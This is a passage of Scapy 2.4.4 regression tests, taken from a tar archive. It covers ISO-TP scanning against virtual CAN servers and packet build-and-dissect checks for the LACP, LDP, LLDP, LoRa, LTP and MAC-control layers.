0x708 == result[0].dst assert 0x609 == result[1].src assert 0x709 == result[1].dst for s in result: del s def test_extended_isotpscan_none(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x700 + i, did=0x600 + i, extended_addr=0x11, extended_rx_addr=0x22) as s: s.sniff(timeout=500 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread1 = threading.Thread(target=isotpserver, args=(2,)) thread2 = threading.Thread(target=isotpserver, args=(3,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() with new_can_socket0() as socks_interface: thread_noise.start() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x5ff, 0x603 + 1), extended_scan_range=range(0x20, 0x30), extended_addressing=True, can_interface=socks_interface, sniff_time=sniff_time, noise_listen_time=sniff_time * 6, verbose=True) result = sorted(result, key=lambda x: x.src) with new_can_socket0() as cans: cans.send(CAN(identifier=0x602, data=b'\x22\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x22\x01\xaa')) time.sleep(0.00) cans.send(CAN(identifier=0x602, data=b'\x22\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x22\x01\xaa')) time.sleep(0.00) cans.send(CAN(identifier=0x602, data=b'\x22\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x22\x01\xaa')) for s in result: # This helps to close ISOTPSoftSockets cans.send(CAN(identifier=0x702, data=b'\x11\x01\xaa')) cans.send(CAN(identifier=0x703, data=b'\x11\x01\xaa')) s.close() time.sleep(0) cans.send(CAN(identifier=0x702, data=b'\x11\x01\xaa')) cans.send(CAN(identifier=0x703, data=b'\x11\x01\xaa')) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) assert len(result) == 2 assert 0x602 == result[0].src assert 0x702 == result[0].dst assert 0x22 == result[0].exsrc assert 0x11 == result[0].exdst assert 0x603 == result[1].src assert 0x703 == result[1].dst assert 0x22 == result[1].exsrc assert 0x11 == result[1].exdst for s in result: del s def test_isotpscan_none_random_ids(sniff_time=0.02): rnd = RandNum(0x1, 0x50) ids = set(rnd._fix() for _ in range(10)) print(ids) semaphore = threading.Semaphore(0) def isotpserver(i): try: with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x100 + i, did=i) as s: s.sniff(timeout=1400 * sniff_time, count=1, started_callback=semaphore.release) warning("ISOTPServer 0x%x finished" % i) except Exception as e: warning("ERROR in isotpserver 0x%x" % i) warning(e) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) threads = [threading.Thread(target=isotpserver, args=(x,)) for x in ids] [t.start() for t in threads] for _ in range(len(threads)): semaphore.acquire() with new_can_socket0() as socks_interface: thread_noise.start() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x001, 0x51), can_interface=socks_interface, noise_listen_time=sniff_time * 6, sniff_time=sniff_time, verbose=True) result = sorted(result, key=lambda x: x.src) with new_can_socket0() as cans: for i in ids: # This helps to close ISOTPSoftSockets cans.send(CAN(identifier=i, data=b'\x01\xaa')) cans.send(CAN(identifier=0x100 + i, data=b'\x01\xaa')) time.sleep(0) cans.send(CAN(identifier=i, data=b'\x01\xaa')) cans.send(CAN(identifier=0x100 + i, data=b'\x01\xaa')) for s in result: # This helps to close ISOTPSoftSockets cans.send(CAN(identifier=s.dst, data=b'\x01\xaa')) cans.send(CAN(identifier=s.src, data=b'\x01\xaa')) s.close() time.sleep(0) cans.send(CAN(identifier=s.dst, data=b'\x01\xaa')) cans.send(CAN(identifier=s.src, data=b'\x01\xaa')) [t.join(timeout=10) for t in threads] thread_noise.join(timeout=10) assert len(result) == len(ids) ids = sorted(ids) for i, s in zip(ids, result): assert i == s.src assert i + 0x100 == s.dst for s in result: del s def test_isotpscan_none_random_ids_padding(sniff_time=0.02): rnd = RandNum(0x1, 0x50) ids = set(rnd._fix() for _ in range(10)) semaphore = threading.Semaphore(0) def isotpserver(i): try: with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x100 + i, did=i, padding=True) as s: s.sniff(timeout=1400 * sniff_time, count=1, started_callback=semaphore.release) warning("ISOTPServer 0x%x finished" % i) except Exception as e: warning("ERROR in isotpserver 0x%x" % i) warning(e) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) threads = [threading.Thread(target=isotpserver, args=(x,)) for x in ids] [t.start() for t in threads] for _ in range(len(threads)): semaphore.acquire() with new_can_socket0() as socks_interface: thread_noise.start() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x001, 0x51), can_interface=socks_interface, noise_listen_time=sniff_time * 6, sniff_time=sniff_time, verbose=True) result = sorted(result, key=lambda x: x.src) with new_can_socket0() as cans: for i in ids: # This helps to close ISOTPSoftSockets cans.send(CAN(identifier=i, data=b'\x01\xaa')) cans.send(CAN(identifier=0x100 + i, data=b'\x01\xaa')) time.sleep(0) cans.send(CAN(identifier=i, data=b'\x01\xaa')) cans.send(CAN(identifier=0x100 + i, data=b'\x01\xaa')) for s in result: # This helps to close ISOTPSoftSockets cans.send(CAN(identifier=s.dst, data=b'\x01\xaa')) cans.send(CAN(identifier=s.src, data=b'\x01\xaa')) s.close() cans.send(CAN(identifier=s.dst, data=b'\x01\xaa')) cans.send(CAN(identifier=s.src, data=b'\x01\xaa')) time.sleep(0) [t.join(timeout=10) for t in threads] thread_noise.join(timeout=10) assert len(result) == len(ids) ids = sorted(ids) for i, s in zip(ids, result): assert i == s.src assert i + 0x100 == s.dst if isinstance(s, ISOTPSoftSocket): assert s.impl.padding is True for s in result: del s = Test scan() test_dynamic(test_scan) = Test scan_extended() test_dynamic(test_scan_extended) = Test ISOTPScan(output_format=text) test_dynamic(test_isotpscan_text) = Test ISOTPScan(output_format=text) extended_can_id test_dynamic(test_isotpscan_text_extended_can_id) = Test ISOTPScan(output_format=code) test_dynamic(test_isotpscan_code) = Test extended ISOTPScan(output_format=code) test_dynamic(test_extended_isotpscan_code) = Test extended ISOTPScan(output_format=code) extended_can_id test_dynamic(test_extended_isotpscan_code_extended_can_id) = Test ISOTPScan(output_format=None) test_dynamic(test_isotpscan_none) = Test ISOTPScan(output_format=None) 2 test_dynamic(test_isotpscan_none_2) = Test extended ISOTPScan(output_format=None) test_dynamic(test_extended_isotpscan_none) = Test ISOTPScan(output_format=None) random IDs test_dynamic(test_isotpscan_none_random_ids) = Test ISOTPScan(output_format=None) random IDs padding test_dynamic(test_isotpscan_none_random_ids_padding) = Delete vcan interfaces ~ vcan_socket needs_root linux if 0 != call(["sudo", "ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != call(["sudo", "ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) + Coverage stability tests = empty tests from scapy.contrib.isotp import generate_code_output, generate_text_output assert generate_code_output("", None) == "" assert generate_text_output("") == "No packets found." = get_isotp_fc from scapy.contrib.isotp import get_isotp_fc # to trigger "noise_ids.append(packet.identifier)" a = [] get_isotp_fc( 1, [], a, False, Bunch( flags="extended", identifier=1, data=b"\x00" ) ) assert 1 in a scapy-2.4.4/test/contrib/lacp.uts000066400000000000000000000032121372370053500167360ustar00rootroot00000000000000% LACP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('lacp')" -t test/contrib/lacp.uts + LACP = Build & dissect LACP # 1 0.000000 CiscoInc_12:0f:0d Slow-Protocols LACP 124 Link Aggregation Control ProtocolVersion 1. Actor Port = 22 Partner Port = 25 params = dict( actor_system_priority=32768, actor_system='00:13:c4:12:0f:00', actor_key=13, actor_port_priority=32768, actor_port_number=22, actor_state=0x85, partner_system_priority=32768, partner_system='00:0e:83:16:f5:00', partner_key=13, partner_port_priority=32768, partner_port_number=25, partner_state=0x36, collector_max_delay=32768, ) pkt = Ether(src="00:13:c4:12:0f:0d") / SlowProtocol() / LACP(**params) s = raw(pkt) raw_pkt = b'\x01\x80\xc2\x00\x00\x02\x00\x13\xc4\x12\x0f\x0d\x88\x09\x01\x01\x01\x14\x80' \ b'\x00\x00\x13\xc4\x12\x0f\x00\x00\x0d\x80\x00\x00\x16\x85\x00\x00\x00\x02\x14' \ b'\x80\x00\x00\x0e\x83\x16\xf5\x00\x00\x0d\x80\x00\x00\x19\x36\x00\x00\x00\x03' \ b'\x10\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert(s == raw_pkt) p = Ether(s) assert(SlowProtocol in p and LACP in p) assert(raw(p) == raw_pkt) = Marker sanity pkt = Ether(src="00:13:c4:12:0f:0d") / SlowProtocol() / MarkerProtocol() pkt.show() s = raw(pkt) p = Ether(s) assert(SlowProtocol in p and MarkerProtocol in p) assert(raw(p) == s) scapy-2.4.4/test/contrib/ldp.uts000066400000000000000000000056011372370053500166020ustar00rootroot00000000000000% Regression tests for the ldp module + Basic LDP test = Default build load_contrib("ldp") base = Ether()/IP()/UDP()/LDP() pkt1 = base/LDPNotification() pkt2 = base/LDPKeepAlive() pkt3 = base/LDPLabelWM() pkt4 = base/LDPHello() pkt5 = base/LDPAddressWM() pkt6 = base/LDPLabelMM() # Build pkt1 = Ether(raw(pkt1)) pkt2 = Ether(raw(pkt2)) pkt3 = Ether(raw(pkt3)) pkt4 = Ether(raw(pkt4)) pkt5 = Ether(raw(pkt5)) pkt6 = Ether(raw(pkt6)) assert LDPNotification in pkt1 assert LDPKeepAlive in pkt2 assert LDPLabelWM in pkt3 assert LDPHello in pkt4 assert LDPAddressWM in pkt5 assert LDPLabelMM in pkt6 = Basic dissection pkt = Ether(b'AJH\x18\x07\xfa\xd0P\x99V\xdd\xf9\x08\x00E\x00\x006\x00\x01\x00\x00@\x11:\x96(\x9d\r\xd3\xc1\x1eq\x10\x02\x86\x02\x86\x00"5\xa1\x00\x01\x00\x16\x7f\x00\x00\x01\x00\x00\x01\x00\x00\x0c\x00\x00\x00\x00\x04\x00\x00\x04\x00\xb4\x00\x00') assert LDPHello in pkt assert pkt[LDP].id == "127.0.0.1" assert pkt[LDPHello].params == [180, 0, 0] = Build advanced LDPInit() pkti = LDPInit(u=0, id=11, params=[180, 0, 0, 0, 0, '1.1.2.2', 0])/LDPKeepAlive() assert raw(pkti) == b'\x02\x00\x00\x16\x00\x00\x00\x0b\x05\x00\x00\x0e\x00\x01\x00\xb4\x00\x00\x00\x00\x01\x01\x02\x02\x00\x00\x02\x01\x00\x04\x00\x00\x00\x00' pkti = LDPInit(raw(pkti)) assert pkti.params == [180, 0, 0, 0, 0, '1.1.2.2', 0] = Build advanced LDPAddress() with LDPLabelMM() pkta = LDPAddress(address=['1.1.2.2', '172.16.2.1'])/LDPLabelMM(fec=[('172.16.2.0', 31)])/LDPLabelMM(fec=[('1.1.2.2', 32)])/LDPLabelMM(fec=[('1.1.2.1', 32)]) = Advanced dissection - complex LDP pkt = Ether(b"\xcc\x04\x04\xdc\x00\x10\xcc\x03\x04\xdc\x00\x10\x88G\x00\x01-\xfeE\xc0\x014\xfe\x84\x00\x00\xff\x06\xb5z\x01\x01\x02\x02\x01\x01\x02\x01\xe4\xe4\x02\x86\xbf\xfb'\xe4\xb9\xb3\xe4GP\x10\x0e\xb6v\x9f\x00\x00\x00\x01\x01\x08\x01\x01\x02\x02\x00\x00\x03\x00\x00\x12\x00\x00\x00\x0e\x01\x01\x00\n\x00\x01\x01\x01\x02\x02\xac\x10\x02\x01\x04\x00\x00\x18\x00\x00\x00\x0f\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x02\x00\x02\x00\x00\x04\x00\x00\x00\x03\x04\x00\x00\x18\x00\x00\x00\x10\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x02\x02\x02\x00\x00\x04\x00\x00\x00\x03\x04\x00\x00\x18\x00\x00\x00\x11\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x02\x01\x02\x00\x00\x04\x00\x00\x00\x12\x04\x00\x00\x18\x00\x00\x00\x12\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x01\x02\x02\x00\x00\x04\x00\x00\x00\x13\x04\x00\x00\x18\x00\x00\x00\x13\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x01\x01\x02\x00\x00\x04\x00\x00\x00\x14\x04\x00\x00\x18\x00\x00\x00\x14\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x01\x00\x02\x00\x00\x04\x00\x00\x00\x15\x04\x00\x00\x18\x00\x00\x00\x15\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x00\x00\x02\x00\x00\x04\x00\x00\x00\x16\x04\x00\x00$\x00\x00\x00\x16\x01\x00\x00\x14\x80\x80\x05\x0c\x00\x00\x00\x00\x00\x00\x00\n\x01\x04\x05\xdc\x0c\x04\x03\x02\x02\x00\x00\x04\x00\x00\x00\x10") assert pkt.getlayer(LDPLabelMM, 8).fec == [('0.0.0.0', 12), ('0.0.0.0', 0), ('5.0.0.0', 4), ('2.0.0.0', 3)] scapy-2.4.4/test/contrib/lldp.uts000066400000000000000000000301061372370053500167540ustar00rootroot00000000000000from enum import test % LLDP test campaign # # execute test: # > test/run_tests -P "load_contrib('lldp')" -t test/contrib/lldp.uts # + Basic layer handling = build basic LLDP frames frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUSystemName(system_name='mate')/\ LLDPDUSystemCapabilities(telephone_available=1, router_available=1, telephone_enabled=1)/\ LLDPDUManagementAddress( management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4, management_address='1.2.3.4', interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX, interface_number=23, object_id='abcd') / \ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) = add padding if required conf.contribs['LLDP'].strict_mode_disable() frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0') / \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUTimeToLive() / \ LLDPDUEndOfLLDPDU() assert(len(raw(frm)) == 60) assert(len(raw(Ether(raw(frm))[Padding])) == 24) frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth012345678901234567890123') / \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUTimeToLive() / \ LLDPDUEndOfLLDPDU() assert (len(raw(frm)) == 60) assert (len(raw(Ether(raw(frm))[Padding])) == 1) frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0123456789012345678901234') / \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUTimeToLive() / \ LLDPDUEndOfLLDPDU() assert (len(raw(frm)) == 60) try: Ether(raw(frm))[Padding] assert False except IndexError: pass = Dissection: PtopoChassisIdType == chasIdPtopoGenAddr(5) data = hex_bytes("0180c200000e00192fa7b28d88cc0206050101020304040d0155706c696e6b20746f205331060200780a0c53322e636973636f2e636f6d0cbe436973636f20494f5320536f6674776172652c20433335363020536f667477617265202843333536302d414456495053455256494345534b392d4d292c2056657273696f6e2031322e322834342953452c2052454c4541534520534f4654574152452028666331290a436f707972696768742028632920313938362d3230303820627920436973636f2053797374656d732c20496e632e0a436f6d70696c6564205361742030352d4a616e2d30382030303a3135206279207765696c697508134769676162697445746865726e6574302f31330e0400140004fe060080c2010001fe0900120f0103c03600100000") pkt = Ether(data) assert pkt.family == 1 assert pkt.id == "1.2.3.4" = Advanced test: check definitions and length of complex IDs pkt = Ether()/LLDPDUChassisID(id="ff:dd:ee:bb:aa:99", subtype=0x04)/LLDPDUPortID(subtype=0x03, id="aa:bb:cc:dd:ee:ff")/LLDPDUTimeToLive(ttl=120)/LLDPDUEndOfLLDPDU() pkt = Ether(raw(pkt)) assert pkt[LLDPDUChassisID].fields_desc[2].i2s == LLDPDUChassisID.LLDP_CHASSIS_ID_TLV_SUBTYPES assert pkt[LLDPDUPortID].fields_desc[2].i2s == LLDPDUPortID.LLDP_PORT_ID_TLV_SUBTYPES assert pkt[LLDPDUChassisID]._length == 7 assert pkt[LLDPDUPortID]._length == 7 + strict mode handling - build = basic frame structure conf.contribs['LLDP'].strict_mode_enable() # invalid length in LLDPDUEndOfLLDPDU try: frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8) frm.build() assert False except LLDPInvalidLengthField: pass # missing chassis id try: frm = Ether()/LLDPDUChassisID()/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() frm.build() assert False except LLDPInvalidLengthField: pass # missing management address try: frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUManagementAddress()/LLDPDUEndOfLLDPDU() frm.build() assert False except LLDPInvalidLengthField: pass + strict mode handling - dissect = basic frame structure conf.contribs['LLDP'].strict_mode_enable() # missing PortIDTLV try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass # invalid order try: frm = Ether() / LLDPDUPortID(id='42') / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass # layer LLDPDUPortID occurs twice try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass # missing LLDPDUEndOfLLDPDU try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / \ LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidFrameStructure: pass conf.contribs['LLDP'].strict_mode_disable() frm = Ether()/LLDPDUChassisID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU() frm = Ether(frm.build()) = length fields / value sizes checks conf.contribs['LLDP'].strict_mode_enable() # missing chassis id => invalid length try: frm = Ether() / LLDPDUChassisID() / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidLengthField: pass # invalid length in LLDPDUEndOfLLDPDU try: frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8) Ether(frm.build()) assert False except LLDPInvalidLengthField: pass # invalid management address try: frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUManagementAddress() / LLDPDUEndOfLLDPDU() Ether(frm.build()) assert False except LLDPInvalidLengthField: pass conf.contribs['LLDP'].strict_mode_disable() frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU() frm = Ether(frm.build()) frm = Ether() / LLDPDUChassisID() / LLDPDUPortID() / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU(_length=8) frm = Ether(frm.build()) = test attribute values conf.contribs['LLDP'].strict_mode_enable() frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id='06:05:04:03:02:01') / \ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id='01:02:03:04:05:06')/\ LLDPDUTimeToLive()/\ LLDPDUSystemName(system_name='things will')/\ LLDPDUSystemCapabilities(telephone_available=1, router_available=1, telephone_enabled=1, router_enabled=1)/\ LLDPDUManagementAddress( management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4, management_address='1.2.3.4', interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX, interface_number=23, object_id='burn') / \ LLDPDUSystemDescription(description='without tests.') / \ LLDPDUPortDescription(description='always!') / \ LLDPDUEndOfLLDPDU() frm = Ether(frm.build()) assert frm[LLDPDUChassisID].id == '06:05:04:03:02:01' assert frm[LLDPDUPortID].id == '01:02:03:04:05:06' sys_capabilities = frm[LLDPDUSystemCapabilities] assert sys_capabilities.reserved_5_available == 0 assert sys_capabilities.reserved_4_available == 0 assert sys_capabilities.reserved_3_available == 0 assert sys_capabilities.reserved_2_available == 0 assert sys_capabilities.reserved_1_available == 0 assert sys_capabilities.two_port_mac_relay_available == 0 assert sys_capabilities.s_vlan_component_available == 0 assert sys_capabilities.c_vlan_component_available == 0 assert sys_capabilities.station_only_available == 0 assert sys_capabilities.docsis_cable_device_available == 0 assert sys_capabilities.telephone_available == 1 assert sys_capabilities.router_available == 1 assert sys_capabilities.wlan_access_point_available == 0 assert sys_capabilities.mac_bridge_available == 0 assert sys_capabilities.repeater_available == 0 assert sys_capabilities.other_available == 0 assert sys_capabilities.reserved_5_enabled == 0 assert sys_capabilities.reserved_4_enabled == 0 assert sys_capabilities.reserved_3_enabled == 0 assert sys_capabilities.reserved_2_enabled == 0 assert sys_capabilities.reserved_1_enabled == 0 assert sys_capabilities.two_port_mac_relay_enabled == 0 assert sys_capabilities.s_vlan_component_enabled == 0 assert sys_capabilities.c_vlan_component_enabled == 0 assert sys_capabilities.station_only_enabled == 0 assert sys_capabilities.docsis_cable_device_enabled == 0 assert sys_capabilities.telephone_enabled == 1 assert sys_capabilities.router_enabled == 1 assert sys_capabilities.wlan_access_point_enabled == 0 assert sys_capabilities.mac_bridge_enabled == 0 assert sys_capabilities.repeater_enabled == 0 assert sys_capabilities.other_enabled == 0 assert frm[LLDPDUManagementAddress].management_address == b'1.2.3.4' assert frm[LLDPDUSystemName].system_name == b'things will' assert frm[LLDPDUManagementAddress].object_id == b'burn' assert frm[LLDPDUSystemDescription].description == b'without tests.' assert frm[LLDPDUPortDescription].description == b'always!' + organisation specific layers = ThreeBytesEnumField tests three_b_enum_field = ThreeBytesEnumField('test', 0x00, { 0x0e: 'fourteen', 0x00: 'zero', 0x5566: 'five-six', 0x0e0000: 'fourteen-zero-zero', 0x0e0100: 'fourteen-one-zero', 0x112233: '1#2#3' }) assert(three_b_enum_field.i2repr(None, 0) == 'zero') assert(three_b_enum_field.i2repr(None, 0x0e) == 'fourteen') assert(three_b_enum_field.i2repr(None, 0x5566) == 'five-six') assert(three_b_enum_field.i2repr(None, 0x112233) == '1#2#3') assert(three_b_enum_field.i2repr(None, 0x0e0000) == 'fourteen-zero-zero') assert(three_b_enum_field.i2repr(None, 0x0e0100) == 'fourteen-one-zero') assert(three_b_enum_field.i2repr(None, 0x01) == '1') assert(three_b_enum_field.i2repr(None, 0x49763) == '300899') = LLDPDUGenericOrganisationSpecific tests frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 )/\ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) org_spec_layer = frm[LLDPDUGenericOrganisationSpecific] assert(org_spec_layer) assert(org_spec_layer._type == 127) assert(org_spec_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO) assert(org_spec_layer.subtype == 0x42) assert(org_spec_layer._length == 34) l="A" * 24 c=LLDPDUChassisID.SUBTYPE_CHASSIS_COMPONENT p=LLDPDUPortID.SUBTYPE_MAC_ADDRESS frm = Ether(dst=LLDP_NEAREST_BRIDGE_MAC)/ \ LLDPDUChassisID(subtype=c, id=l)/ \ LLDPDUPortID(subtype=p, id=l)/ \ LLDPDUTimeToLive(ttl=2)/ \ LLDPDUEndOfLLDPDU() try: frm = frm.build() except: assert False scapy-2.4.4/test/contrib/loraphy2wan.uts000066400000000000000000000032471372370053500202750ustar00rootroot00000000000000% Regression tests for Scapy +Syntax check = Import the loraphy2wan layer from scapy.contrib.loraphy2wan import * from scapy.compat import raw # LoRa PHY to WAN ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Packet decoding ~ field p = b'\x00\x00\x00\x00lovecafemeeetoo\x00iiS\x02LI' pkt = LoRa(p) assert pkt.Join_Request_Field[0].DevEUI == b'meeetoo\x00' assert pkt.Join_Request_Field[0].DevNonce == 26985 p = b'\x0f0P@\xad\x15\x00`\x80\x06\x00\t\xca\xfe\x0c\x1d\x8d\x04\\\xb5' pkt = LoRa(p) assert pkt.MType == 2 assert pkt.DataPayload == b'\xca\xfe' assert pkt.FCnt == 6 assert pkt.FPort == 9 assert pkt.FCtrl[0].ADR == 1 assert pkt.DevAddr[0].NwkID == 0xad assert pkt.DevAddr[0].NwkAddr == 0x600015 p = b'\x0f0P\x80\xad\x15\x00`\x00\x01\x00\t\xca\xfe:\x98\x89|\x8f\xd4' pkt = LoRa(p) assert pkt.MType == 4 = Decoding piggyback MAC Commands p = b'\r0\xc0\x80\xad\x15\x00`\x01\x01\x00\x02\xc0\xe3N\xb7\xc7\xae' pkt = LoRa(p) assert pkt.FOpts_up[0].CID == 2 assert pkt.CRC == 0xc7ae = Decoding an encrypted JA packet LoRa.encrypted = True p = b'\x00\x00\x00 \x086\xe2\x87\xa9\x80\\\xb7\xee\x9e_\xff|\x9e\xe9z' pkt = LoRa(p) assert pkt.Join_Accept_Encrypted == b'6\xe2\x87\xa9\x80\\\xb7\xee\x9e_\xff|\x9e\xe9z' = Packet crafting: generating an unencrypted JA frame ja = Join_Accept() ja.JoinAppNonce=0x6fe14a ja.NetID = 0x10203 ja.DevAddr = 0x68e8cb1 assert raw(ja) == b'J\xe1o\x03\x02\x01\xb1\x8c\x8e\x06\x00\x00' = Generating an unencrypted LoRa JA packet LoRa.encrypted = False pkt = LoRa(MType=0b001) pkt.Join_Accept_Field = [ja] assert raw(pkt) == b'\x00\x00\x00 J\xe1o\x03\x02\x01\xb1\x8c\x8e\x06\x00\x00\x00\x00\x00\x00' scapy-2.4.4/test/contrib/ltp.uts000066400000000000000000000026261372370053500166260ustar00rootroot00000000000000% Licklider Transmission Protocol tests ############ ############ + Licklider Transmission Protocol (LTP) basic tests ~ TODO: no pcap have been found on Internet. Check that scapy correctly decode those too = Build packets & dissect load_contrib("ltp") pkt = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="192.168.0.1", dst="192.168.0.2")/UDP()/LTP(flags=8,\ SessionOriginator=2, SessionNumber=113, ReportCheckpointSerialNo=12, ReportUpperBound=0, ReportLowerBound=5, ReportReceptionClaims=[ LTPReceptionClaim(ReceptionClaimOffset=1, ReceptionClaimLength=4), LTPReceptionClaim(ReceptionClaimOffset=2, ReceptionClaimLength=3), ], HeaderExtensions=[ LTPex(ExTag=1, ExData=b"\x00"), ], TrailerExtensions=[ LTPex(ExTag=0, ExData=b"\x01"), LTPex(ExTag=1, ExData=b"\x02"), ]) pkt = Ether(raw(pkt)) assert LTP in pkt assert pkt[LTP].ReportLowerBound == 5 assert pkt[LTP].ReportCheckpointSerialNo == 12 assert pkt[LTP].ReportReceptionClaims[0].ReceptionClaimLength == 4 assert pkt[LTP].ReportReceptionClaims[1].ReceptionClaimOffset == 2 assert pkt[LTP].HeaderExtensions[0].ExTag == 1 assert pkt[LTP].HeaderExtensions[0].ExData == b"\x00" s = pkt.summary() s assert s.replace("ltp_deepspace", "1113") == 'Ether / IP / UDP 192.168.0.1:1113 > 192.168.0.2:1113 / LTP 113'scapy-2.4.4/test/contrib/mac_control.uts000066400000000000000000000110421372370053500203170ustar00rootroot00000000000000% MACControl test campaign # # execute test: # $ test/run_tests -P "load_contrib('mac_control')" -t test/contrib/mac_control.uts # + Basic layer handling = pause frame frm = 